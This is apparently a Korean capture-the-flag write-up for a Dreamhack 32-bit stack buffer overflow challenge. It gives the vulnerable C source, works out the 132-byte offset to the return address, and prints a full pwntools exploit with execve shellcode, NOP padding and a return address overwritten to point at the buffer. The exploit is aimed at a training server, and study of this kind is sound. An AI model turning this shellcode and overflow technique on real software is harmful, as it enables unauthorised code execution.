문제
환경 정보에서 32비트(i386) 리틀 엔디언 아키텍처에서 실행된다는 것을 확인한다.
32bit 환경이므로 스택 프레임 구조를 buf(n) | sfp(4) | ret(4) 이렇게 유추할 수 있다.
문제 파일
buf는 128바이트(0x80)로 선언되었는데, scanf("%141s", buf)에서
buf에 128바이트를 초과한 141바이트까지 읽을 수 있도록 되어 있다.
이 버퍼 오버플로우 취약점을 이용해 쉘을 얻어보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
풀이
먼저 우분투 환경에서 파일을 생성한다.
해당 파일을 컴파일한다.
실행해보면, buf의 주소가 출력된다. 하지만 이 값은 30초마다 변경된다.
gdb로 분석한다.
스택 프레임 구조가 buf(n) | sfp(4) | ret(4) 으로 구성되고, ebp-0x80에서 0x80이 버퍼의 크기이므로
retutn address까지의 거리는 128(0x80) + 4 = 132바이트다.
위 내용을 통해 스택 프레임 구조를 알 수 있다.
따라서 페이로드는 다음과 같이 구성한다.
파이썬 pwntools 모듈로 exploit 코드를 작성한다.
from pwn import *
p = remote('host3.dreamhack.games',22834)
context.arch = "i386"
p.recvuntil(b"buf = (")
buf_addr = int(p.recv(10),16)
payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"\x90" * 106
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
buf = (0x· · · · · · · ·)으로 출력되기 때문에, 'buf = ('을 없애고 buf 주소 10자리를 16진수로 받아서 저장한다.
그리고 26바이트 shellcode를 사용해야한다.
(기본 25바이트 코드를 사용했다가 한참 헤매었다. scanf 함수 때문에 꼭 26 바이트 쉘코드를 사용한다.)
132-26=106 만큼 의미없는 값을 채워주고 buf 주소를 넣는다.
exploit 파일을 실행하면 쉘을 얻을 수 있다.